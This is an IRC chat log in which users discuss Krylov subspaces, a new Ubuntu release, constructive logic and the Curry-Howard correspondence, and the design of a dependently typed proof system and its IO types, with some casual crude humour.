12:31:58 <fizzie> Some of my friends collected the best sayings of maths lecturers in notebooks; unfortunately I don't have any handy.
12:32:44 <fizzie> "These matrices can be... really big *ehehe*." It's very amusing to listen, though.
12:34:59 <fizzie> The course seems to currently be in a transition to the interesting part; the part where we no longer have a matrix A as a pile of numbers, but instead just a linear operator A that you can apply to a vector, because the matrix itself would be too large to store in memory. Now it's going to be all Krylov subspaces and whatnot.
12:35:25 <oklopol> what are those
12:35:35 <oklopol> please define them in guy terms
12:35:57 <oklopol> how many courses are you on usually?
12:36:01 <oklopol> at a given time
12:36:21 <fizzie> K_r(A, b) = span(b, Ab, A^2b, ..., A^(r-1)b), nothing more complicated than that.
12:36:51 <fizzie> I seem to have around 4-5 now. It's only something like 60 course credits for the licensiate/doctoral degree, after all.
12:37:18 <oklopol> so this A dude here makes all sortsa copies of itself and then all those copies have buttsex with b at the same time and a vector space is spanned
12:37:47 <fizzie> Yes. Except you have to worry about the numerical stability of the buttsex.
12:37:53 <oklopol> oh
12:39:37 <oklopol> whats
12:39:39 <oklopol> that mean
12:39:41 <oklopol> '
12:40:03 <oklopol> 4-5 is considered a lot among turkuans
12:40:28 <oklopol> maybe we are a crappier uni
12:41:03 <fizzie> I don't think it's considered "a lot" here, but it's not an especially tiny amount either, I Guess.
12:41:19 -!- tombom has quit (Quit: Leaving).
12:41:25 <oklopol> actually one of the professors told me people in turku are better at math usually, which he'd probably be regretting if he knew i was gonna tell it to everyone
12:41:58 <fizzie> Back at the beginning of the course, when he was trying to motivate the course by talking about big matrices, he was all about "the Google matrix", which is a NxN matrix where N is the size of the Internet.
12:42:23 <fizzie> I guess this is somehow related to the fact that you get PageRank values as eigenvalues of some sort of adjacency matrix of the Internet.
12:42:40 <oklopol> or the universe matrix containing for each point the points at most one meter from it?!?
12:43:06 <fizzie> There might've been actually some physics problem, though maybe not quite like that.
12:43:16 <oklopol> unless you can give out search results by multiplying with the matrix, then it would be slightly more interesting
12:43:44 <oklopol> have to go see ya
12:43:51 <fizzie> Same here, actually; boo-ya.
12:50:13 -!- oklopol has quit (Ping timeout: 276 seconds).
12:52:05 <AnMaster> <oklopol> turns out linear functions are invertible (they have normal function inverses) iff their determinant is nonzero <-- makes perfect sense considering that is true for matrices.
12:53:00 <AnMaster> <Sgeo> I suppose none of this is related to Computer Science? Maybe I should stick with this college and Minor in math <-- well, matrices at least are used a lot in programming. Especially 3D iirc.
12:54:05 <alise> CS != programming
12:54:13 <AnMaster> alise, well yes
12:54:22 <AnMaster> alise, however programming is a part of CS
12:55:19 <alise> no
12:55:23 <alise> programming isn't even applied CS
12:55:44 <alise> programming, aka software engineering, is an enirely separate field that happens to use some ideas from CS
12:55:50 <alise> just like physics uses mathematics...
12:57:01 <AnMaster> alise, however, I'm pretty sure (basic) programming is taught as part of CS courses. At least for all universities I checked.
12:57:15 <AnMaster> alise, which is what I was talking about
12:58:00 <alise> If a CS course involves Java, C, Python - it's probably crap.
12:58:14 <alise> Well, Python can go okay, but only if it's used in an abstract way.
12:58:16 <AnMaster> alise, I think C and lisp were the most common ones
12:58:28 <AnMaster> pyhton at third place I think
12:58:29 <alise> Nah, Java.
12:58:33 <AnMaster> java was very rare
12:58:34 <alise> (Almost all (mathematical term!) CS courses suck.)
12:58:36 <AnMaster> for true CS
12:58:52 <alise> In fact I'm not sure I'd call any existing CS curriculum good.
12:58:59 <alise> MIT sorta ruined theirs by abandoning SICP and doing robots in Python instead.
12:59:05 <AnMaster> hah
12:59:47 <alise> The xkcd effect, may I call it.
13:00:05 <AnMaster> alise, what?
13:00:09 <alise> "Default search engine has been changed to Yahoo!" --Ubuntu.com
13:00:14 <alise> I smell money.
13:00:16 <AnMaster> alise, joke?
13:00:37 <alise> AnMaster: xkcd glorifies "fun hacking!" and "zomg cool robots!" and "python is SO EASY!"
13:00:48 <alise> "This beta sports full removal of HAL from the boot process, making Ubuntu faster to boot and faster to resume from suspend."
13:00:48 <alise> Well, that's good.
13:00:53 <AnMaster> alise, well sure, python *is* easy
13:00:58 <alise> "We now feature built-in integration with Twitter, identi.ca, Facebook, and other social networks with the MeMenu in the panel, which is built upon the Gwibber project, which has a completely new, more reliable backend built on top of desktopcouch. Gwibber now also supports a multi-column view for monitoring multiple feeds simultaneously."
13:00:59 <alise> Fuck me.
13:01:08 <AnMaster> MeMenu?
13:01:11 <AnMaster> what the heck
13:01:12 <alise> "Millions of songs are available for purchase from your Ubuntu desktop, integrated with the Rhythmbox Music Player and using Ubuntu One cloud storage for backup and easy sync. Watch http://one.ubuntu.com/blog for the public beta launch."
13:01:13 <alise> Vomit.
13:01:22 <alise> Otherwise a humdrum improvement release.
13:01:23 <AnMaster> ouch
13:01:37 <alise> But seriously: Yahoo, social crap by default, integrated music purchasing?
13:01:37 <alise> Eat a dick.
13:01:42 <AnMaster> alise, I think jaunty might have been the last "good" release
13:01:51 <AnMaster> maybe karmic
13:01:53 <alise> I didn't mind 9.10.
13:02:07 <alise> Karmic's the latest release. :P
13:02:16 <AnMaster> alise, well this new one sounds horrible
13:02:29 <alise> I only quoted the horrid bits. Obviously.
13:02:32 <alise> "Paul also noted that the most controversial aspect of the new design amongst users has been the placement of the window control buttons on the left instead of the right side of the windows"
13:02:35 <AnMaster> alise, right
13:02:36 <alise> Copying OS X, are we?
13:02:50 <AnMaster> mhm
13:02:59 <AnMaster> I don't use standard theme anyway
13:03:16 <alise> Y'know what? I think I'll just stick with Windows 7 for now.
13:04:08 <AnMaster> alise, arch linux isn't too bad
13:04:59 <AnMaster> alise, on the plus sides it doesn't integrate music stores, nor social crap by default, and default search engine is whatever <your browser> uses as upstream default
13:05:20 <alise> yeah but on a laptop?
13:05:23 <alise> CBA
13:05:27 <AnMaster> alise, good point
13:05:48 <alise> clearly I should just instantly code ehirdOS
13:05:58 <AnMaster> good luck
13:06:05 <AnMaster> alise, ACPI is horrible I'm told
13:06:12 <AnMaster> and you really need that for laptops :(
13:06:38 * alise decides to name his first proof system something along the lines of provenance
13:06:40 <alise> maybe nance
13:07:07 <alise> it'll have two components, the proof checker (basically a typechecker for some dependently-typed total lambda calculus) and the proof compiler (from a form you'd actually want to write; with niceties such as definitions)
13:07:13 <alise> so they need names
13:07:31 <alise> and also perhaps a third component, that extracts computational (non-proof) content from a proof and compiles that to some functional language
13:07:41 <AnMaster> profchk and profc
13:07:45 <AnMaster> for checker and compiler
13:07:48 <alise> I guess the proof checker should be prove, and the compiler nance, if I'm going by provenance
13:07:51 <alise> AnMaster: That's way boring.
13:07:55 <AnMaster> alise, well yes
13:08:10 <AnMaster> plus typoed
13:08:12 <alise> Maybe I should have:
13:08:15 <alise> prove -- checker
13:08:19 <alise> nance -- compiler
13:08:19 <AnMaster> proof* for booth
13:08:32 <alise> volit -- program extractor
13:08:38 <AnMaster> why volit?
13:08:40 <alise> The system as a whole being Provenance and Volition.
13:08:54 <alise> Because computation is like some sort of volition.
13:08:55 * AnMaster wonders what volition means
13:09:00 <alise> You're going forwards to do some sort of goal. Of such.
13:09:11 <alise> The problem is that prove is a bit of a vague name for a proof checker.
13:09:22 <AnMaster> google result is Volition® as the third
13:09:25 <AnMaster> just FYI
13:09:38 <alise> Eh?
13:09:46 <AnMaster> alise, registered trademark
13:09:54 <alise> It's a bloody English word
13:09:58 <alise> You can't trademark it
13:10:02 <alise> Not like that
13:10:05 <AnMaster> alise, well it seems to have been done :/
13:10:05 <alise> Only in some very specific field
13:10:13 <alise> You fail at trademark law :P
13:10:19 <AnMaster> probably
13:10:46 <alise> I should clearly write PROVE first.
13:10:50 <alise> In, eh, let's say Haskell.
13:11:06 <alise> What calculus? Perhaps the calculus of inductive constructions.
13:11:25 <AnMaster> alise, why not in coq or agda?
13:12:22 <alise> Because I don't really know enough of Coq or Agda to do those. If I was doing it so I could prove the checker correct, then Agda would be the wrong choice; it's a very experimental, exporatory language and false has been proven in it many many times.
13:12:22 <alise> Coq I know even less than Agda.
13:12:40 <alise> Besides, volit will probably spew out (horrific) Haskell.
13:12:57 <alise> It annoys me that prove has to know about sets, and not just propositions.
13:13:36 <AnMaster> alise, what exactly will volit do?
13:14:41 <alise> Well, nance is in many ways like a programming language. You have data types, in Type, and you have a subset of Type named Prop which contains propositional statements.
13:14:53 <AnMaster> right
13:14:55 <alise> You prove a Prop by writing (terminating) code that constructs a value of the given Prop.
13:15:12 <alise> The values of Props are irrelevant - they are indistinguishable; for any x,y:P where P:Prop, x=y
13:15:17 <alise> but the values of Sets are not
13:15:25 <AnMaster> alise, sounds like you are an constructivist ;O
13:15:27 <AnMaster> ;P*
13:15:32 <alise> You don't say.
13:15:46 <alise> Through the Curry-Howard lens, we can eliminate proofs (Prop values), as they carry exactly 0 bits of information.
13:16:04 <alise> We have lambdas, as ways of proving implication and also defining functions on sets.
13:16:08 <alise> So... we have a total programming language.
13:16:14 <AnMaster> okay
13:16:30 <alise> Sprinkle on some mechanism for IO, and you have both a programming language with dependent types and consequently proving, and a proof assistant.
13:16:47 <AnMaster> indeed
13:17:01 <AnMaster> and where does volit fit in
13:17:02 <alise> If you're doing proofs, you use nance and it feeds its result to prove for you; if you're programming, you use nance and it feeds its result to volit (and then, presumably, to ghc) for you.
13:17:09 <AnMaster> ah
13:17:15 <alise> Often the files you do both to will be the same.
13:17:27 <AnMaster> right
13:17:31 <AnMaster> why not allow non-constructive proofs btw?
13:17:31 <alise> AnMaster: Well, the typechecker just says "Yes" or "No" in so many words.
13:17:46 <alise> Well, because I don't believe that forall p, p \/ ~p, for one.
13:17:53 <alise> Two, you can have that
13:18:02 <alise> classicalOr p q = ~(~p & ~q)
13:18:20 <alise> Or you can even just take as a parameter the law of the excluded middle, thus having LEM -> whatever.
13:18:24 <alise> Constructivism contains classical logic
13:18:25 <AnMaster> alise, is ~ = not?
13:18:28 <alise> yes.
13:19:08 <alise> But it's simple as that I'm a constructivist, and I also believe in the computationalness of proofs and the like - total Curry-Howard disciple - so, begone LEM.
13:19:16 <AnMaster> why don't you believe forall p, p \/ ~p ?
13:19:23 <AnMaster> well, okay LEM I guess
13:19:30 <alise> That's law of the excluded middle.
13:19:42 <alise> AnMaster: Consider axioms like the Continuum Hypothesis (in the context of ZFC).
13:20:01 * AnMaster reads up on that one
13:20:01 <alise> You can add the axiom CH to ZFC, and yield an (almost certainly) consistent system (if ZFC is consistent that is).
13:20:05 <alise> You don't need to.
13:20:07 <alise> It's just an example.
13:20:08 <alise> You can also add the axiom ~CH to ZFC.
13:20:11 <alise> Still consistent.
13:20:16 <AnMaster> ouch
13:20:18 <alise> So in plain ZFC without any frills: is CH true or false?
13:20:23 <alise> The answer is that it's neither.
13:20:34 <AnMaster> alise, undecidable?
13:20:34 <alise> AnMaster: also true for large ordinal axioms
13:20:39 <alise> *large cardinal
13:20:44 <alise> AnMaster: Not undecidable.
13:20:47 <AnMaster> hm okay
13:20:57 <alise> Consider Godel's theorem.
13:21:03 <AnMaster> okay
13:21:05 <alise> It's not quite the same.
13:21:28 <AnMaster> hm okay, I think I see what you mean
13:21:48 <AnMaster> though I'm the first to admit that this is way out of my expertise.
13:22:14 <alise> AnMaster: It's simple enough: There are statements for which our formalisms do not have the mechanisms that we can apply to derive either a proof of p, or a proof of not-p.
13:22:25 <alise> Given that, where does the law of the excluded middle stand?
13:22:32 <AnMaster> good point
13:22:43 <alise> Either p or not p -- but it cannot be shown to be either. My opinion - shared with other constructivists - is that it is neither.
13:22:51 <AnMaster> alise, but non-constructive proofs are sexy :P
13:23:13 <alise> I think proofs of ~~p are not very interesting. :P
13:23:21 <AnMaster> hah
13:23:24 <alise> AnMaster: Mind you, I do believe that ~~p is very strong evidence for p.
13:23:35 <alise> I just don't believe it entails it.
13:23:44 <AnMaster> in a two-valued boolean logic at least
13:23:56 <alise> Yeah, well, propositions aren't booleans.
13:24:18 <alise> Whoever first made (x = y), (x > y) etc. booleans was a vile person.
13:24:20 <AnMaster> computers however *work* on boolean logic basically.
13:24:30 <alise> No, they work on electricity.
13:24:41 <AnMaster> alise, well sure, but at one level they do what I said mostly
13:25:24 <AnMaster> for the digital logic parts of them, which makes up a rather large and crucial portion of how they work
13:26:10 <alise> Coming up with a model for inductive types is Hard.
13:26:10 <AnMaster> of course there are analogue computers, but from what I understood they are kind of rare
13:26:22 <alise> Incidentally, nance will be where the type inferrence is.
13:26:29 <AnMaster> interesting
13:26:37 <alise> prove will literally require an annotation for every single parameter and result.
13:26:41 <AnMaster> alise, I suspect the output it generates then might be rather large.
13:26:49 <alise> And no variable names or anything: It takes in lambda calculus with De Bruijn indexes.
13:26:53 <alise> (Plus type annotations).
13:26:56 <AnMaster> okay *very* large then
13:27:10 <alise> Not /that/ large.
13:27:28 <alise> I mean, GHC basically stops one step short of lambda-calculus.
13:27:34 <AnMaster> well, I can't really predict how much it will grow compared to input
13:27:56 <alise> Not that much, really. You can't infer anything dependent anyway.
13:28:00 <alise> Well, almost anything.
13:28:09 <alise> So only trivial things will have their types inferred.
13:28:32 <AnMaster> and well, I presume you somehow at the end can get out reasonable machine code, reasonable for an OS that is (which was your goal wasn't it?)
13:28:59 <alise> Oh, this is just my first foray into actually making one of these.
13:29:08 <alise> Nowhere near OS stage yet.
13:29:24 <AnMaster> alise, out of interest: how will you handle the low level interaction with the architecture in your OS? Some parts must be OS specific, be it configuring memory mappings or whatever.
13:29:29 <AnMaster> can those be proved?
13:29:36 <AnMaster> s/OS specific/hardware specific/
13:29:41 <alise> The machine code generated will probably not be pretty; after all, 42 will be represented by 42 nested constructors and then a unit value.
13:30:04 <AnMaster> alise, pipe it into llvm or something and hope for the best?
13:30:13 <alise> GHC produces alright code anyway.
13:30:17 <AnMaster> true
13:31:13 <AnMaster> alise, still, I find the problem of proving the bits that deal with poking hardware correct quite interesting. Such as setting up memory mappings for processes and dealing with DMA or whatever.
13:31:19 <alise> AnMaster: Also, they don't need to be proved.
13:31:25 <AnMaster> alise, oh?
13:31:26 <alise> After all, the correctness of the code depends on the hardware being correct in the first place.
13:31:32 <AnMaster> well true
13:31:40 <AnMaster> I was just about to say that that might be an issue as well
13:31:55 <alise> Well, I don't think FDIV ever happened again.
13:32:00 <alise> They formally verify chips nowadays.
13:32:10 <AnMaster> iirc intel and amd both use correctness checkers for their CPUs nowdays, at least for the FPU. No one wants to see another FDIV bug
13:32:20 <AnMaster> alise, damn you beat me to it :P
13:32:27 <alise> I love how induction <=> recursion.
13:32:56 <AnMaster> alise, I knew they were related, but are they actually equivalent?
13:33:01 <alise> yep
13:33:14 <AnMaster> wonderful indeed
13:33:32 <AnMaster> I can't see how to get from one to the other exactly, but yeah they are pretty similar when you think about it
13:33:34 <alise> nat-induct : forall (P : Nat -> Prop), P 0 -> (forall (n:Nat), P n -> P (succ n)) -> forall (n:Nat), P n
13:33:43 <alise> now ignore Prop being propositions so irrelevant values just imagine it's any type
13:33:47 <AnMaster> n:Nat?
13:33:50 <alise> then consider P x = Integer
13:33:55 <alise> AnMaster: forall naturals n
13:33:55 <AnMaster> is that "n in N"?
13:33:57 <alise> then we have
13:33:58 <AnMaster> right
13:34:22 <alise> integer -> (forall (n:Nat), integer -> integer) -> forall (n:Nat), integer
13:34:24 <alise> forall is the same as a function arrow
13:34:24 <alise> so
13:34:38 <alise> integer -> (Nat -> integer -> intgeer) -> (Nat -> integer)
13:34:39 <alise> so the first argument is the base case
13:34:51 <alise> the second gets the current value to consider, and also the rest of the computation (lazily)
13:34:55 <alise> and it combines the two with recursion
13:35:00 <alise> it's fold!
13:35:17 <alise> in fact you can derive a function like this for /any/ inductive data type, mechanically
13:35:44 <AnMaster> alise, btw do you reject proofs of existence by contradiction (that is, proving something must exist, because otherwise it would result in a contradiction, without giving any way to construct said thing)
13:35:44 <alise> epigram 2 does this
13:35:45 -!- kar8nga has joined.
13:36:24 <alise> AnMaster: Something must exist, otherwise contradiction = Not something must exist, implies contradiction = Not not something must exist = Not not P = ~~P
13:36:27 <alise> So that's using ~~P to prove P. No. I do not accept that.
13:36:32 <AnMaster> mhm
13:36:52 <nooga> ah
13:37:00 <nooga> building plan9port
13:37:13 <AnMaster> alise, I think that means you end up rejecting some major parts of modern mathematics.
13:37:20 <AnMaster> I don't remember which parts
13:37:30 <AnMaster> but I'm pretty sure I read about that somewhere
13:37:30 <alise> you don't
13:37:41 <alise> you reject uncomputable real numbers, but nobody cares about them
13:37:50 <alise> AnMaster: consider that the four-colour theorem was proved with Coq
13:37:53 <alise> a constructivist system
13:37:59 <alise> it's very much practical
13:38:15 <AnMaster> http://en.wikipedia.org/wiki/Existence_theorem mentions "Such pure existence results are in any case ubiquitous in contemporary mathematics. For example, for a linear problem the set of solutions will be a vector space, and some a priori calculation of its dimension may be possible. In any case where the dimension is probably at least 1, an existence assertion has been made (that a non-zero solution
13:38:15 <AnMaster> exists.)". I don't have any clue what that means though really
13:38:39 <alise> Incidentally, interesting thing:
13:38:42 <alise> ((P?Q)?P)?P
13:38:45 <alise> This is Pierce's law.
13:38:46 <alise> erm
13:38:49 <AnMaster> alise, what is the ? there
13:38:50 <alise> ((P->Q)->P)->P
13:38:52 <AnMaster> ah
13:38:55 <alise> Pierce's law.
13:38:56 <alise> But!
13:39:00 <alise> It is the type of call-with-current-continuation.
13:39:17 <AnMaster> interesting
13:39:20 <alise> The continuation is (P->Q), i.e. gimme something and I'll give you anything (it's just a dummy value computationally so you can put it anywhere)
13:39:35 <alise> and you result in a P (because whatever you pass to the continuation must be able to stand for what would normally result, typewise)
13:39:36 <alise> and it gives you a P, by constructing a continuation
13:39:37 <alise> BUT!
13:39:47 <alise> This doesn't hold in intuitionistic logic (and other similar constructivist ones)
13:39:52 <AnMaster> call/cc is always somewhat mind bending.
13:39:52 <alise> because it implies the law of the excluded middle
13:39:58 <alise> first, know that _|_ is the type with no elements, i.e. falsity
13:40:00 <AnMaster> alise, so no call/cc in your language?
13:40:03 <alise> and that ~p is p -> _|_
13:40:52 <alise> ((P->_|_)->P)->P
13:41:02 <alise> "In particular, when Q is taken to be a false formula, the law says that if P must be true whenever it implies the false, then P is true. In this way Peirce's law implies the law of excluded middle."
13:41:07 <alise> specifically
13:41:09 <alise> if we have _|_
13:41:11 <alise> we can prove anything
13:41:15 <alise> so if P is true whenever it implies the false
13:41:27 <alise> that means that P is true
13:41:29 <alise> because P implies false
13:41:32 <alise> and from false we can derive P
13:41:38 <AnMaster> mhm
13:41:46 <alise> ergo, law of the excluded middle
13:41:58 <alise> so call/cc -> law of the excluded middle :D
13:42:06 <alise> AnMaster: no call/cc outside of something like a continuation monad
13:42:09 <alise> no biggie - haskell doesn't have it either
13:42:23 <AnMaster> true
13:42:49 <alise> AnMaster: you know the y combinator? as in a fixed point combinator doesn't matter which one
13:42:51 <alise> fix : (a -> a) -> a
13:42:56 <alise> so fix (1:) = [1,1,1,1,1,1,...]
13:43:03 <alise> i.e. fix f = f (fix f)
13:43:07 <alise> right?
13:43:28 <AnMaster> hm
13:43:46 <alise> AnMaster: oh please tell me you know that
13:44:10 <alise> just say yes :P
13:44:20 <AnMaster> it is familiar, but never really used lambda calculus.
13:44:25 <alise> it's in haskell too
13:44:26 <alise> fix (1:) = 1 : fix (1:) = 1 : 1 : fix (1:) = ...
13:44:29 <AnMaster> if it is composition?
13:44:46 <alise> fact = fix (\me n -> if n == 0 then 1 else me (n-1))
13:45:05 <alise> fact = (\me n -> if n == 0 then 1 else me (n-1)) (fix (\me n -> if n == 0 then 1 else me (n-1)))
13:45:05 <AnMaster> ah a quick check on wikipedia reminded me of what it was
13:45:10 <AnMaster> yeah I read about that before
13:45:11 <AnMaster> ages ago
13:45:14 <alise> fact = (\me n -> if n == 0 then 1 else me (n-1)) ((\me n -> if n == 0 then 1 else me (n-1)) (fix (\me n -> if n == 0 then 1 else me (n-1))))
13:45:15 <alise> etc
13:45:18 <alise> thus allowing recursion
13:45:20 <alise> AnMaster: anyway
13:45:22 <alise> look at the type
13:45:22 <AnMaster> okay
13:45:25 <alise> fix : forall a, (a -> a) -> a
13:45:27 <alise> consider it logically
13:45:31 <alise> (a -> a) is a tautology
13:45:34 <alise> so it's saying
13:45:35 <alise> fix : forall a, a
13:45:38 <alise> WUT!
13:45:45 <alise> and indeed using fix we can derive ANYTHING
13:45:47 <alise> id : a -> a
13:45:47 <alise> so
13:45:47 <AnMaster> alise, (a implies a) implies a? for all a?
13:45:51 <alise> yep
13:45:51 <alise> fix id : forall a, a
13:45:59 <AnMaster> wonderful
13:46:02 <alise> so for all p, p is true, not p is true, ...
13:46:07 <alise> fix is inconsistency in a bag!
13:46:16 <alise> ...and this, kids, is why you don't allow general recursion
13:46:33 <AnMaster> id : a -> a <-- that seems sane to me though. id is a no-operation after all
13:46:44 <AnMaster> wait, not if that is implies
13:46:50 <alise> of course
13:46:52 <AnMaster> hm
13:46:53 <alise> a implies a for all a
13:46:56 <alise> id is true
13:47:03 <alise> but (a -> a) -> a is not true
13:47:07 <alise> obviously a implies itself
13:47:13 <alise> if 2 is prime, then 2 is prime
13:47:18 <alise> if 2 is not prime, then 2 is not prime
13:47:18 <alise> etc
13:47:24 <alise> proof: \x -> x
13:47:32 <alise> so in fix : (a -> a) -> a
13:47:36 <AnMaster> alise, but considering the truth table for -> something seems wrong if id: a->a
13:47:37 <alise> we can ignore (a -> a) as it's already proved
13:47:40 <alise> so fix : forall a, a
13:47:40 <AnMaster> if a is false
13:47:46 <alise> AnMaster: why
13:47:47 <alise> also
13:47:51 <alise> -> doesn't have a truth table
13:47:57 <alise> but even classically A -> A holds...
13:48:00 <alise> it's an axiom
13:48:04 <AnMaster> alise, not the classical logic ->?
13:48:19 <alise> classical -> has a truth table
13:48:22 <AnMaster> alise, yes
13:48:24 <alise> but A -> A is still always true
13:48:25 <AnMaster> that is the one I meant
13:48:28 <AnMaster> alise, it is
13:48:30 <alise> it reduces to !(A&!A)
13:48:37 <alise> which is the law of non-contradiction
13:48:40 <alise> Q.E.D.
13:48:42 <AnMaster> but a -> b, says basically nothing about b if a is false
13:48:44 <alise> anyway, so
13:48:47 <alise> foo : somethingtrue -> a
13:48:49 <alise> is equivalent to
13:48:50 <alise> foo : a
13:48:55 <alise> proof: foo theproofofsomethingtrue
13:48:56 <alise> so
13:48:58 <AnMaster> alise, yes
13:48:58 <alise> fix is equivalent to
13:49:00 <alise> forall a. a
13:49:05 <AnMaster> mhm
13:49:10 <alise> plug in _|_ for a
13:49:12 <alise> and you get a proof of false
13:49:14 <alise> tada
13:49:35 <AnMaster> hm indeed
13:49:53 <alise> plug in reimann-hypothesis for a, and you get a proof of that too
13:49:59 <alise> plug in ~reimann-hypothesis, and its negation appears!
13:50:07 <alise> so many THINGS we can achieve with trivialism!
13:50:30 <AnMaster> heh
13:51:39 <alise> file extension .na is free. not any more!
13:51:41 <alise> stolen for nance
13:52:02 <alise> actually .ne looks nicer to me, so
13:53:25 <AnMaster> hm, while I do like some of the points of total fp, I still quite like non-constructive proofs. what a dilemma this is :/
13:54:17 <AnMaster> alise, do you reject or accept proof by induction btw?
13:54:25 <alise> Induction is obviously true.
13:54:37 <alise> Proof: Structural recursion.
13:54:41 <AnMaster> alise, transfinite induction?
13:54:56 <alise> yes.
13:54:59 <alise> provable
13:55:01 <AnMaster> okay
13:55:35 <alise> Why haven't you asked me about the Axiom of Choice yet?
13:56:22 <AnMaster> alise, hah
13:56:47 <alise> How's that funny
13:56:54 <AnMaster> you can't prove it, that is why it is called axiom. But why are you so eager to be asked about it?
13:57:11 <AnMaster> (at least you can't prove it from some sets of axioms)
13:58:16 <AnMaster> alise, also since you accept transfinite induction, doesn't that mean you must accept AoC?
13:58:43 <AnMaster> at least for uncountable sets
13:59:14 <AnMaster> (or maybe I'm mixing this up)
14:01:35 <alise> you are mixing it up
14:01:35 <alise> Anyway, I only accept some of the Axiom of Choice: the part that is provable.
14:01:46 <alise> http://r6.ca/blog/20050604T143800Z.html
14:01:46 <AnMaster> right
14:01:54 <alise> The intensional axiom of choice. But you know what?
14:01:57 <alise> It doesn't imply well-ordering.
14:02:08 <alise> It's Axiom of Choice without the weird shit.
14:02:08 <AnMaster> sets vs. types iirc or such?
14:02:11 <alise> And it's provable in type theory.
14:02:33 <alise> putString : (Sigma (w : World m c). pre c) -> (World (m+1) (modify c) -> Sigma (w' : World n c'). (n > (m+1) ? post c'))
14:02:33 <alise> where pre c = stdout is open in conditions
14:02:33 <alise> modify c = c (I don't think writing to stdout should ever change conditions...)
14:02:33 <alise> post c = nothing, we require no postconditions here
14:02:33 <alise> I think.
14:02:43 <alise> oh wait, forgot the result
14:03:26 <alise> putString : (Sigma (w : World m c). pre c) -> (World (m+1) (modify c) -> Sigma (w' : World n c'). (n > (m+1) ? post c')) -> Sigma (w' : World n c'). (n > (m+1) ? post c')
14:03:26 <alise> I think
14:03:28 <alise> oh, I forgot the actual string :D
14:04:40 <AnMaster> I can't read that, and you know that
14:05:49 <alise> putString : String -> WorldSatisfying m c stdoutOpen -> (World (m+1) c -> WorldGreater n c' (m+1)) -> World n c
14:05:49 <alise> I think
14:05:56 <alise> AnMaster: I'm just musing to myself
14:06:33 <alise> AnMaster: actual usage of this will look something like
14:06:34 <AnMaster> okay
14:06:35 <alise> main : IO Unit
14:06:36 <alise> main = putString "Hello, world!"
14:06:43 <alise> prolly
14:06:56 <alise> AnMaster: it's just condition magic so that it's actually impossible for the program to, e.g. write to a closed handle
14:07:09 <alise> because the writing functions require the conditions of the world you give it to have that file handle to be open
14:07:26 <alise> and the close function transforms the conditions in the new world the continuation gets so that the handle is closed there
14:07:35 <AnMaster> mhm
14:08:07 <AnMaster> alise, it shouldn't be too hard to make it impossible to write to a closed handle in a "normal" language. (Yeah "normal" isn't really the right word, but...)
14:08:18 <alise> I'm talking at typechecking time here.
14:08:19 <alise> Not at runtime.
14:08:27 <AnMaster> right, that is somewhat harder
14:08:32 <alise> (AnMaster slowly creeps away, defeated.)
14:08:42 <alise> AnMaster: Slight misuse of the term somewhat there
14:08:43 <AnMaster> for runtime, something like ref counting should work
14:09:58 <AnMaster> alise, well, perhaps. but if you in a "normal" language would require proof that a file handle could not escape a given scope, and then could prove how it is used in said scope it would be possible before runtime there too. no?
14:10:22 <AnMaster> of course, that doesn't cover all possible situations
14:12:37 <alise> how can you require a proof in a normal language
14:12:42 <alise> you can't
14:12:58 <alise> "Recursion must be easier than recursion. Otherwise recursive programs would never terminate."
14:13:01 <alise> "QED."
14:15:22 <AnMaster> hehe
14:16:19 <AnMaster> bbl
14:16:40 <alise> type IO r = (Sigma (w : World m c). pre c) -> (World (m+n) (change c) -> r -> Sigma (w : World m' c'). (m' > (m+n) /\ post c')) -> World m' c'
14:16:41 <alise> I think.
14:17:34 <alise> type IO pre change post r = (Sigma (w : World m c). pre c) -> (World (m+n) (change c) -> r -> Sigma (w : World m' c'). (m' > (m+n) /\ post c')) -> World m' c'
14:17:36 <alise> I think.
14:17:41 <alise> main : IO stdoutOpen id (const ?) Unit
14:17:41 <alise> main = putString "Hello, world!"
14:17:45 <alise> That's const T there
14:17:49 <alise> main : IO stdoutOpen id (const T) Unit
14:17:49 <alise> main = putString "Hello, world!"
14:18:27 -!- fax has joined.
14:18:51 <alise> IO pre change post r -- the type of an IO interaction on a world satisfying pre, which does change to the world's conditions, and results in an r, as long as the world at the end of the hullabaloo satisfies post
14:18:53 <alise> type IO pre change post r = (Sigma (w : World m c). pre c) -> (World (m+n) (change c) -> r -> Sigma (w : World m' c'). (m' > (m+n) /\ post c')) -> World m' c'
14:19:01 <alise> oh, I need to paramaterise over n... grr
14:19:05 <alise> I'd rather not though
14:19:16 <alise> fax: simplify my io system :p
14:20:26 <fax> SIMPLIFY
14:20:29 <fax> ENHANCE
14:20:42 <fax> zoom in on his pocket, what's in that letter?
14:20:45 <alise> fax: yes. do so
14:20:56 <alise> GENERALISE
14:20:57 <alise> type IO a = a
14:22:29 <fax> I like data IO :: * -> * where Return :: a -> IO a ; (:>>=:) :: IO a -> (a -> IO b) -> IO b ; PutChar :: ...
14:22:46 <fax> you can just do something like that, except with stronger specifications in the types
14:23:22 <alise> but that breaks things when you add new IO actions
14:23:25 <alise> IMO, you should be able to write
14:23:29 <alise> postulate foo : ... some IO action ...
14:23:33 <alise> and have everything still work
14:24:59 <alise> type IO pre change post r = (Sigma (w : World m c). pre c) -> ((Sigma (w' : World m' (change c)). m' > m) -> r -> Sigma (w'' : World m'' c'). (m'' > m' /\ post c')) -> World m' c'
14:25:11 <alise> I guess I don't need to paramaterise on pre/change/post, that can just be part of the types of the actions
14:26:35 <alise> type IO r = ((Sigma (w : World m c). m > SOMETHING) -> r -> Sigma (w' : World m' c'). (m' > m /\ SOMETHING)) -> World m' c'
14:26:40 <alise> Maybe?
14:27:10 <fax> I never understood the 'realworld' stuff
14:27:17 <fax> just seemed inelegant to me
14:27:39 <alise> well here World is a very abstract thing
14:28:03 <alise> World m c is a (thing) of sequence number m (we use this to ensure you can't use the same world twice, as you have to do it increasingly), with conditions c
14:28:05 <alise> conditions are things you can do like
14:28:08 <alise> isOpen stdout c
14:28:15 <alise> as in, in the conditions c, is the file handle stdout open?
14:28:22 <alise> and also transform
14:28:24 <alise> withClosed stdout c
14:28:41 <alise> apart from that, it's completely opaque
14:28:55 <fax> c++ help super primes @_@
14:28:56 <fax> immediate need asap : c++ help super primes @_@
14:30:06 <alise> hmm, I guess I need postulate data structures
14:30:22 <alise> postulate IOStruct : Sigma (IO : Set). isIO IO
14:30:33 <alise> not Set
14:30:39 <alise> and I need to posulate World instead
14:30:59 <alise> postulate WorldStruct : Sigma (World : Nat -> Conditions -> Set). isWorld World
14:31:51 <alise> fax: i mean your IO data structure just doesn't handle things like FFIs and the like
14:31:55 <alise> or even added IO operations
14:32:12 <fax> yeah it does
